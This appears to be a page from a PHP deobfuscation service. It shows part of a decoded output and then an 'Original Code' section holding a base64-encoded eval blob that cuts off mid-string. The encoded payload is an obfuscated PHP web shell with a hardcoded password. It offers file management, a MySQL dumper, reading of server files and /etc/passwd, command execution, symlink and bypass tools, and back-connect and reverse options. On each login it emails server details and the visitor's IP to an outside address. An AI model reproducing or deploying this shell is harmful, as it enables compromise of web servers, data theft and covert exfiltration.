7DQp9IGVsc2Ugew0KICAgIGVjaG8gIjxmb250IGNvbG9yPXJlZD4kZGY8L2ZvbnQ+PC9iPjxCUj4iOw0KfQ0KZWNobyAiPGZvbnQgY29sb3I9d2hpdGU+VW5hbWUgLWE8L2ZvbnQ+OiAiIC4gQHN1YnN0cihAcGhwX3VuYW1lKCksIDAsIDEyMCkgLiAiPGJyPiI7DQplY2hvICI8Zm9udCBjb2xvcj13aGl0ZT5TZXJ2ZXI8L2ZvbnQ+OiAiIC4gQHN1YnN0cigkU0VSVkVSX1NPRlRXQVJFLCAwLCAxMjApIC4gIiAtIDxmb250IGNvbG9yPXdoaXRlPmlkPC9mb250PjogIiAuIEBnZXRteXVpZCgpIC4gIigiIC4gQGdldF9jdXJyZW50X3VzZXIoKSAuICIpIC0gdWlkPSIgLiBAZ2V0bXl1aWQoKSAuICIgKCIgLiBAZ2V0X2N1cnJlbnRfdXNlcigpIC4gIikgZ2lkPSIgLiBAZ2V0bXlnaWQoKSAuICIoIiAuIEBnZXRfY3VycmVudF91c2VyKCkgLiAiKTxicj4iOw0KPz48L3RkPjwvdHI+PC90YWJsZT48L3RkPg0KCTwvdHI+DQoJPHRyIGNsYXNzPSJhbHQxIj4NCgkJPHRkICB3aWR0aD0xMCU+PGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignZmlsZScpOyI+TWFuYWdlcjwvYT4gfA0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc3FsYWRtaW4nKTsiPlNRTDwvYT4gDQoJCQk8P3BocA0KaWYgKCFJU19XSU4pIHsNCj8+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignZHVtcGVyJyk7Ij5EdW1wZXI8L2E+PD9waHANCn0NCj8+IHwNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2NoYW5nZXBhcycpOyI+Q2hhbmdlczwvYT4NCgkJCTw/cGhwDQppZiAoIUlTX1dJTikgew0KPz4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdldGNwd2QnKTsiPi9ldGMvcGFzc3dkPC9hPiA8P3BocA0KfQ0KPz4NCgkJCTw/cGhwDQppZiAoIUlTX1dJTikgew0KPz4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCduZXdjb21tYW5kJyk7Ij5Db21tYW5kPC9hPiA8P3BocA0KfQ0KPz4NCgkJCTw/cGhwDQppZiAoIUlTX1dJTikgew0KPz4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdlcnJvci5sb2cnKTsiPkNyZWF0IENHSTwvYT48P3BocA0KfQ0KPz4NCiAgICAgICAgICAgIDw/cGhwDQppZiAoIUlTX1dJTikgew0KPz4gfCA8YSBocmVmPSJlcnJvci9lcnJvci5sb2ciIHRhcmdldD0iX2JsYW5rIj5PcGVuIENHSTwvYT48P3BocA0KfQ0KPz4NCiAgICAgICAgICAgIDw/cGhwDQppZiAoIUlTX1dJTikgew0KPz4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdzeW1yb290Jyk7Ij5TeW0gUm9vdDwvYT48P3BocA0KfQ0KPz4NCiAgICAgICAgICAgIDw/cGhwDQppZiAoIUlTX1dJTikgew0KPz4gfCA8YSBocmVmPSJzeW0vIiB0YXJnZXQ9Il9ibGFuayI+T3BlbiBTeW0gPC9hPjw/cGhwDQp9DQo/Pg0KCQkJPD9waHANCmlmICghSVNfV0lOKSB7DQo/PiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2J5cGFzcycpOyI+QnkgUGFzczwvYT48P3BocA0KfQ0KPz4gDQoJCQk8P3BocA0KaWYgKCFJU19XSU4pIHsNCj8+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbigndXBzaGVsbCcpOyI+VXAgc2hlbGw8L2E+PD9waHANCn0NCj8+DQogICAgICAgICAgICA8P3BocA0KaWYgKCFJU19XSU4pIHsNCj8+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignbGVlY2gnKTsiPkxlZWNoPC9hPjw/cGhwDQp9DQo/PiAgIA0KCQkJPD9waHANCmlmICghSVNfV0lOKSB7DQo/PiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2JhY2tjb25uZWN0Jyk7Ij5CYWNrPC9hPjw/cGhwDQp9DQo/Pg0KCQkJPD9waHANCmlmICghSVNfV0lOKSB7DQo/PiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2NvbW1hbmQnKTsiPldpbjwvYT4gPD9waHANCn0NCj8+IA0KCQkJPD9waHANCmlmICghSVNfV0lOKSB7DQo/PiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3JldmVyc2VpcCcpOyI+UmV2ZXJzZSA8L2E+PD9waHANCn0NCj8+IA0KICAgICAgICAgICAgPC90ZD4NCgk8L3RyPg0KPC90YWJsZT4NCjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMTUiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkPg0KPD9waHANCmZvcm1oZWFkKGFycmF5KA0KICAgICduYW1lJyA9PiAnZ29hY3Rpb24nDQopKTsNCm1ha2VoaWRlKCdhY3Rpb24nKTsNCmZvcm1mb290KCk7DQokZXJybXNnICYmIG0oJGVycm1zZyk7DQohJGRpciAmJiAkZGlyID0gJy4nOw0KJG5vd3BhdGggPSBnZXRQYXRoKFNBX1JPT1QsICRkaXIpOw0KaWYgKHN1YnN0cigkZGlyLCAtMSkgIT0gJy8nKSB7DQogICAgJGRpciA9ICRkaXIgLiAnLyc7DQp9DQokdWVkaXIgPSB1ZSgkZGlyKTsNCmlmICghJGFjdGlvbiB8fCAkYWN0aW9uID09ICdmaWxlJykgew0KICAgICRkaXJfd3JpdGVhYmxlID0gQGlzX3dyaXRhYmxlKCRub3dwYXRoKSA/ICdXcml0YWJsZScgOiAnTm9uLXdyaXRhYmxlJzsNCiAgICBpZiAoJGRvaW5nID09ICdkZWxkaXInICYmICR0aGVmaWxlKSB7DQogICAgICAgIGlmICghZmlsZV9leGlzdHMoJHRoZWZpbGUpKSB7DQogICAgICAgICAgICBtKCR0aGVmaWxlIC4gJyBkaXJlY3RvcnkgZG9lcyBub3QgZXhpc3QnKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIG0oJ0RpcmVjdG9yeSBkZWxldGUgJyAuIChkZWx0cmVlKCR0aGVmaWxlKSA/IGJhc2VuYW1lKCR0aGVmaWxlKSAuICcgc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KICAgICAgICB9DQogICAgfSBlbHNlaWYgKCRuZXdkaXJuYW1lKSB7DQogICAgICAgICRta2RpcnMgPSAkbm93cGF0aCAuICRuZXdkaXJuYW1lOw0KICAgICAgICBpZiAoZmlsZV9leGlzdHMoJG1rZGlycykpIHsNCiAgICAgICAgICAgIG0oJ0RpcmVjdG9yeSBoYXMgYWxyZWFkeSBleGlzdGVkJyk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBtKCdEaXJlY3RvcnkgY3JlYXRlZCAnIC4gKEBta2RpcigkbWtkaXJzLCAwNzc3KSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7DQogICAgICAgICAgICBAY2htb2QoJG1rZGlycywgMDc3Nyk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoJGRvdXBmaWxlKSB7DQogICAgICAgIG0oJ0ZpbGUgdXBsb2FkICcgLiAoQGNvc ?>

Did this file decode correctly?

Original Code

eval (base64_decode('ZXJyb3JfcmVwb3J0aW5nKDcpOw0KQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCm9iX3N0YXJ0KCk7DQokbXRpbWUgICAgID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsNCiRzdGFydHRpbWUgPSAkbXRpbWVbMV0gKyAkbXRpbWVbMF07DQpkZWZpbmUoJ1NBX1JPT1QnLCBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIGRpcm5hbWUoX19GSUxFX18pKSAuICcvJyk7DQpkZWZpbmUoJ0lTX1dJTicsIERJUkVDVE9SWV9TRVBBUkFUT1IgPT0gJ1xcJyk7DQpkZWZpbmUoJ0lTX0NPTScsIGNsYXNzX2V4aXN0cygnQ09NJykgPyAxIDogMCk7DQpkZWZpbmUoJ0lTX0dQQycsIGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpOw0KJGRpc19mdW5jID0gZ2V0X2NmZ192YXIoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQpkZWZpbmUoJ0lTX1BIUElORk8nLCAoIWVyZWdpKCJwaHBpbmZvIiwgJGRpc19mdW5jKSkgPyAxIDogMCk7DQpAc2V0X3RpbWVfbGltaXQoMCk7DQpmb3JlYWNoIChhcnJheSgNCiAgICAnX0dFVCcsDQogICAgJ19QT1NUJw0KKSBhcyAkX3JlcXVlc3QpIHsNCiAgICBmb3JlYWNoICgkJF9yZXF1ZXN0IGFzICRfa2V5ID0+ICRfdmFsdWUpIHsNCiAgICAgICAgaWYgKCRfa2V5ezB9ICE9ICdfJykgew0KICAgICAgICAgICAgaWYgKElTX0dQQykgew0KICAgICAgICAgICAgICAgICRfdmFsdWUgPSBzX2FycmF5KCRfdmFsdWUpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJCRfa2V5ID0gJF92YWx1ZTsNCiAgICAgICAgfQ0KICAgIH0NCn0NCiRhZG1pbiAgICAgICAgICAgICAgICAgPSBhcnJheSgpOw0KJGFkbWluWydjaGVjayddICAgICAgICA9IHRydWU7DQokYWRtaW5bJ3Bhc3MnXSAgICAgICAgID0gJ2hhY2tlcjIwMTYnOw0KJGFkbWluWydjb29raWVwcmUnXSAgICA9ICcnOw0KJGFkbWluWydjb29raWVkb21haW4nXSA9ICcnOw0KJGFkbWluWydjb29raWVwYXRoJ10gICA9ICcvJzsNCiRhZG1pblsnY29va2llbGlmZSddICAgPSA4NjQwMDsNCmlmICgkY2hhcnNldCA9PSAndXRmOCcpIHsNCiAgICBoZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Iik7DQp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2JpZzUnKSB7DQogICAgaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1iaWc1Iik7DQp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2diaycpIHsNCiAgICBoZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWdiayIpOw0KfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdsYXRpbjEnKSB7DQogICAgaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0yIik7DQp9DQokc2VsZiAgICAgID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gPyAkX1NFUlZFUlsnUEhQX1NFTEYnXSA6ICRfU0VSVkVSWydTQ1JJUFRfTkFNRSddOw0KJHRpbWVzdGFtcCA9IHRpbWUoKTsNCmlmICgkYWN0aW9uID09ICJsb2dvdXQiKSB7DQogICAgc2Nvb2tpZSgna3lvYmluJywgJycsIC04NjQwMCAqIDM2NSk7DQogICAgcCgnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDtVUkw9JyAuICRzZWxmIC4gJyI+Jyk7DQogICAgcCgnPGJvZHkgYmFja2dyb3VuZD1ibGFjaz4nKTsNCiAgICBleGl0Ow0KfQ0KaWYgKCRhZG1pblsnY2hlY2snXSkgew0KICAgIGlmICgkZG9pbmcgPT0gJ2xvZ2luJykgew0KICAgICAgICBpZiAoJGFkbWluWydwYXNzJ10gPT0gJHBhc3N3b3JkKSB7DQogICAgICAgICAgICBzY29va2llKCdreW9iaW4nLCAkcGFzc3dvcmQpOw0KICAgICAgICAgICAgJHRpbWVfc2hlbGwgICAgID0gIiIgLiBkYXRlKCJkL20vWSAtIEg6aTpzIikgLiAiIjsNCiAgICAgICAgICAgICRpcF9yZW1vdGUgICAgICA9ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOw0KICAgICAgICAgICAgJGZyb21fc2hlbGxjb2RlID0gJ3NoZWxsQCcgLiBnZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSAuICcnOw0KICAgICAgICAgICAgJHRvX2VtYWlsICAgICAgID0gJ2FyY2hhdmluaGFja2VyQGdtYWlsLmNvbSc7DQoJCQkvLw0KICAgICAgICAgICAgJHNlcnZlcl9tYWlsICAgID0gIiIgLiBnZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSAuICIgIC0gIiAuICRfU0VSVkVSWydIVFRQX0hPU1QnXSAuICIiOw0KICAgICAgICAgICAgJGxpbmtjciAgICAgICAgID0gIkxpbms6ICIgLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSAuICIiIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10gLiAiIC0gSVAgRXhjdXRpbmc6ICRpcF9yZW1vdGUgLSBUaW1lOiAkdGltZV9zaGVsbCI7DQogICAgICAgICAgICAkaGVhZGVyICAgICAgICAgPSAiRnJvbTogJGZyb21fc2hlbGxjb2RlDQpSZXBseS10bzogJGZyb21fc2hlbGxjb2RlIjsNCiAgICAgICAgICAgIEBtYWlsKCR0b19lbWFpbCwgJHNlcnZlcl9tYWlsLCAkbGlua2NyLCAkaGVhZGVyKTsNCiAgICAgICAgICAgIHAoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjI7VVJMPScgLiAkc2VsZiAuICciPicpOw0KICAgICAgICAgICAgcCgnPGJvZHkgYmdjb2xvcj1ibGFjaz4NCjxCUj48QlI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgY29sb3I9eWVsbG93IGZhY2U9dGFob21hIHNpemU9Mj5Mb2FkaW5nPEJSPjxpbWcgc3JjPWh0dHA6Ly90My5nc3RhdGljLmNvbS9pbWFnZXM/cT10Ym46QU5kOUdjUkZJUXk5b0xjOWpNV21EWV9OX3N4aldQeXVzVVdDNGlnd0sybHFCbTY4YURHY1NmS1BQQT48L2Rpdj4nKTsNCiAgICAgICAgICAgIGV4aXQ7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkZXJyX21lc3MgPSAnPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZCBiZ2NvbG9yPSMwRTBFMEUgd2lkdGg9MTAwJSBoZWlnaHQ9MjQ+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgY29sb3I9cmVkIGZhY2U9dGFob21hIHNpemU9Mj48Ymxpbms+UGFzc3dvcmQgaW5jb3JyZWN0LCBQbGVhc2UgdHJ5IGFnYWluISEhPC9ibGluaz48QlI+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPic7DQogICAgICAgICAgICBlY2hvICRlcnJfbWVzczsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoJF9DT09LSUVbJ2t5b2JpbiddKSB7DQogICAgICAgIGlmICgkX0NPT0tJRVsna3lvYmluJ10gIT0gJGFkbWluWydwYXNzJ10pIHsNCiAgICAgICAgICAgIGxvZ2lucGFnZSgpOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgbG9naW5wYWdlKCk7DQogICAgfQ0KfQ0KJGVycm1zZyA9ICcnOw0KaWYgKCRhY3Rpb24gPT0gJ3BocGluZm8nKSB7DQogICAgaWYgKElTX1BIUElORk8pIHsNCiAgICAgICAgcGhwaW5mbygpOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRlcnJtc2cgPSAncGhwaW5mbygpIGZ1bmN0aW9uIGhhcyBub24tcGVybWlzc2libGUnOw0KICAgIH0NCn0NCmlmICgkZG9pbmcgPT0gJ2Rvd25maWxlJyAmJiAkdGhlZmlsZSkgew0KICAgIGlmICghQGZpbGVfZXhpc3RzKCR0aGVmaWxlKSkgew0KICAgICAgICAkZXJybXNnID0gJ1RoZSBmaWxlIHlvdSB3YW50IERvd25sb2FkYWJsZSB3YXMgbm9uZXhpc3RlbnQnOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRmaWxlaW5mbyA9IHBhdGhpbmZvKCR0aGVmaWxlKTsNCiAgICAgICAgaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtJyAuICRmaWxlaW5mb1snZXh0ZW5zaW9uJ10pOw0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScgLiAkZmlsZWluZm9bJ2Jhc2VuYW1lJ10pOw0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnIC4gZmlsZXNpemUoJHRoZWZpbGUpKTsNCiAgICAgICAgQHJlYWRmaWxlKCR0aGVmaWxlKTsNCiAgICAgICAgZXhpdDsNCiAgICB9DQp9DQppZiAoJGRvaW5nID09ICdiYWNrdXBteXNxbCcgJiYgISRzYXZlYXNmaWxlKSB7DQogICAgZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsNCiAgICAkdGFibGUgID0gYXJyYXlfZmxpcCgkdGFibGUpOw0KICAgICRyZXN1bHQgPSBxKCJTSE9XIHRhYmxlcyIpOw0KICAgIGlmICghJHJlc3VsdCkNCiAgICAgICAgcCgnPGgyPicgLiBteXNxbF9lcnJvcigpIC4gJzwvaDI+Jyk7DQogICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gJ19NeVNRTC5zcWwnKTsNCiAgICBoZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vdW5rbm93bicpOw0KICAgIGhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JyAuICRmaWxlbmFtZSk7DQogICAgJG15c3FsZGF0YSA9ICcnOw0KICAgIHdoaWxlICgkY3Vycm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsNCiAgICAgICAgaWYgKGlzc2V0KCR0YWJsZVskY3Vycm93WzBdXSkpIHsNCiAgICAgICAgICAgICRteXNxbGRhdGEgLj0gc3FsZHVtcHRhYmxlKCRjdXJyb3dbMF0pOw0KICAgICAgICB9DQogICAgfQ0KICAgIG15c3FsX2Nsb3NlKCk7DQogICAgZXhpdDsNCn0NCmlmICgkZG9pbmcgPT0gJ215c3FsZG93bicpIHsNCiAgICBpZiAoISRkYm5hbWUpIHsNCiAgICAgICAgJGVycm1zZyA9ICcgZGJuYW1lJzsNCiAgICB9IGVsc2Ugew0KICAgICAgICBkYmNvbm4oJGRiaG9zdCwgJGRidXNlciwgJGRicGFzcywgJGRibmFtZSwgJGNoYXJzZXQsICRkYnBvcnQpOw0KICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRteXNxbGRsZmlsZSkpIHsNCiAgICAgICAgICAgICRlcnJtc2cgPSAnVGhlIGZpbGUgeW91IHdhbnQgRG93bmxvYWRhYmxlIHdhcyBub25leGlzdGVudCc7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkcmVzdWx0ID0gcSgic2VsZWN0IGxvYWRfZmlsZSgnJG15c3FsZGxmaWxlJyk7Iik7DQogICAgICAgICAgICBpZiAoISRyZXN1bHQpIHsNCiAgICAgICAgICAgICAgICBxKCJEUk9QIFRBQkxFIElGIEVYSVNUUyB0bXBfYW5nZWw7Iik7DQogICAgICAgICAgICAgICAgcSgiQ1JFQVRFIFRBQkxFIHRtcF9hbmdlbCAoY29udGVudCBMT05HQkxPQiBOT1QgTlVMTCk7Iik7DQogICAgICAgICAgICAgICAgcSgiTE9BRCBEQVRBIExPQ0FMIElORklMRSAnIiAuIGFkZHNsYXNoZXMoJG15c3FsZGxmaWxlKSAuICInIElOVE8gVEFCTEUgdG1wX2FuZ2VsIEZJRUxEUyBURVJNSU5BVEVEIEJZICdfX2FuZ2VsX3skdGltZXN0YW1wfV9lb2ZfXycgRVNDQVBFRCBCWSAnJyBMSU5FUyBURVJNSU5BVEVEIEJZICdfX2FuZ2VsX3skdGltZXN0YW1wfV9lb2ZfXyc7Iik7DQogICAgICAgICAgICAgICAgJHJlc3VsdCA9IHEoInNlbGVjdCBjb250ZW50IGZyb20gdG1wX2FuZ2VsIik7DQogICAgICAgICAgICAgICAgcSgiRFJPUCBUQUJMRSB0bXBfYW5nZWwiKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRyb3cgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCk7DQogICAgICAgICAgICBpZiAoISRyb3cpIHsNCiAgICAgICAgICAgICAgICAkZXJybXNnID0gJ0xvYWQgZmlsZSBmYWlsZWQgJyAuIG15c3FsX2Vycm9yKCk7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRmaWxlaW5mbyA9IHBhdGhpbmZvKCRteXNxbGRsZmlsZSk7DQogICAgICAgICAgICAgICAgaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtJyAuICRmaWxlaW5mb1snZXh0ZW5zaW9uJ10pOw0KICAgICAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JyAuICRmaWxlaW5mb1snYmFzZW5hbWUnXSk7DQogICAgICAgICAgICAgICAgaGVhZGVyKCJBY2NlcHQtTGVuZ3RoOiAiIC4gc3RybGVuKCRyb3dbMF0pKTsNCiAgICAgICAgICAgICAgICBlY2hvICRyb3dbMF07DQogICAgICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCn0NCj8+PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij4NCjx0aXRsZT48P3BocA0KZWNobyAiV2Vic2l0ZSA6ICIgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAiIjsNCj8+IHwgPD9waHANCmVjaG8gIklQIDogIiAuIGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pIC4gIiI7DQo/PiA8L3RpdGxlPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHksdGR7Zm9udDogMTBwdCBUYWhvbWE7Y29sb3I6Z3JheTtsaW5lLWhlaWdodDogMTZweDt9DQoNCmEge2NvbG9yOiAjODA4MDgwO3RleHQtZGVjb3JhdGlvbjpub25lO30NCmE6aG92ZXJ7Y29sb3I6ICNmMDA7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTt9DQouYWx0MSB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MXB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojMEUwRTBFO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9DQouYWx0MiB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MXB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojZjlmOWY5O3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9DQouZm9jdXMgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjBweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6IzBFMEUwRTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQ0KLmZvdXQxIHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbTowcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOiMwRTBFMEU7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30NCi5mb3V0IHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbTowcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOiMyMDIwMjA7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30NCi5oZWFkIHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOiMyMDIwMjA7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O2ZvbnQtd2VpZ2h0OmJvbGQ7fQ0KLmhlYWRfc21hbGwgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjFweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6IzIwMjAyMDtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7Zm9udC13ZWlnaHQ6bm9ybWFsO2ZvbnQtc2l6ZTo4cHQ7fQ0KLmhlYWQgdGQgc3Bhbntmb250LXdlaWdodDpub3JtYWw7fQ0KZm9ybXttYXJnaW46MDtwYWRkaW5nOjA7fQ0KaDJ7bWFyZ2luOjA7cGFkZGluZzowO2hlaWdodDoyNHB4O2xpbmUtaGVpZ2h0OjI0cHg7Zm9udC1zaXplOjE0cHg7Y29sb3I6IzVCNjg2Rjt9DQp1bC5pbmZvIGxpe21hcmdpbjowO2NvbG9yOiM0NDQ7bGluZS1oZWlnaHQ6MjRweDtoZWlnaHQ6MjRweDt9DQp1e3RleHQtZGVjb3JhdGlvbjogbm9uZTtjb2xvcjojNzc3O2Zsb2F0OmxlZnQ7ZGlzcGxheTpibG9jazt3aWR0aDoxNTBweDttYXJnaW4tcmlnaHQ6MTBweDt9DQppbnB1dCwgdGV4dGFyZWEsIGJ1dHRvbg0Kew0KCWZvbnQtc2l6ZTogOXB0Ow0KCWNvbG9yOiAjY2NjOw0KCWZvbnQtZmFtaWx5OiB2ZXJkYW5hLCBzYW5zLXNlcmlmOw0KCWJhY2tncm91bmQtY29sb3I6ICMyMDIwMjA7DQoJYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjNzRBMjAyOw0KCWJvcmRlci10b3A6IDFweCBzb2xpZCAjNzRBMjAyOw0KCWJvcmRlci1yaWdodDogMXB4IHNvbGlkICM3NEEyMDI7DQoJYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM3NEEyMDI7DQp9DQpzZWxlY3QNCnsNCglmb250LXNpemU6IDhwdDsNCglmb250LXdlaWdodDogbm9ybWFsOw0KCWNvbG9yOiAjY2NjOw0KCWZvbnQtZmFtaWx5OiB2ZXJkYW5hLCBzYW5zLXNlcmlmOw0KCWJhY2tncm91bmQtY29sb3I6ICMyMDIwMjA7DQp9DQoNCjwvc3R5bGU+DQo8L3N0eWxlPg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZnVuY3Rpb24gQ2hlY2tBbGwoZm9ybSkgew0KCWZvcih2YXIgaT0wO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKSB7DQoJCXZhciBlID0gZm9ybS5lbGVtZW50c1tpXTsNCgkJaWYgKGUubmFtZSAhPSAnY2hrYWxsJykNCgkJZS5jaGVja2VkID0gZm9ybS5jaGthbGwuY2hlY2tlZDsNCiAgICB9DQp9DQpmdW5jdGlvbiAkKGlkKSB7DQoJcmV0dXJuIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKTsNCn0NCmZ1bmN0aW9uIGdvYWN0aW9uKGFjdCl7DQoJJCgnZ29hY3Rpb24nKS5hY3Rpb24udmFsdWU9YWN0Ow0KCSQoJ2dvYWN0aW9uJykuc3VibWl0KCk7DQp9DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5IG9uTG9hZD0iaW5pdCgpIiBzdHlsZT0ibWFyZ2luOjA7dGFibGUtbGF5b3V0OmZpeGVkOyB3b3JkLWJyZWFrOmJyZWFrLWFsbCIgYmdjb2xvcj1ibGFjayBiYWNrZ3JvdW5kPWh0dHA6Ly9pMTEyNC5waG90b2J1Y2tldC5jb20vYWxidW1zL2w1NzUvZ2l2YXkvdGhfbWF0cml4LmdpZj4NCjxkaXYgYm9yZGVyPSIwIiBzdHlsZT0icG9zaXRpb246Zml4ZWQ7IHdpZHRoOiAxMDAlOyBoZWlnaHQ6IDI1cHg7IHotaW5kZXg6IDE7IHRvcDogMzAwcHg7IGxlZnQ6IDA7IiBpZD0ibG9hZGluZyIgYWxpZ249ImNlbnRlciIgdmFsaWduPSJjZW50ZXIiPg0KCQkJCTx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMTBweCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIiBzdHlsZT0iYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZSIgYm9yZGVyY29sb3I9IiMwMDMzMDAiPg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQgYWxpZ249ImNlbnRlciIgdmFsaWduPWNlbnRlcj4NCgkJCQkgPGRpdiBib3JkZXI9IjEiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjMEUwRTBFOyBmaWx0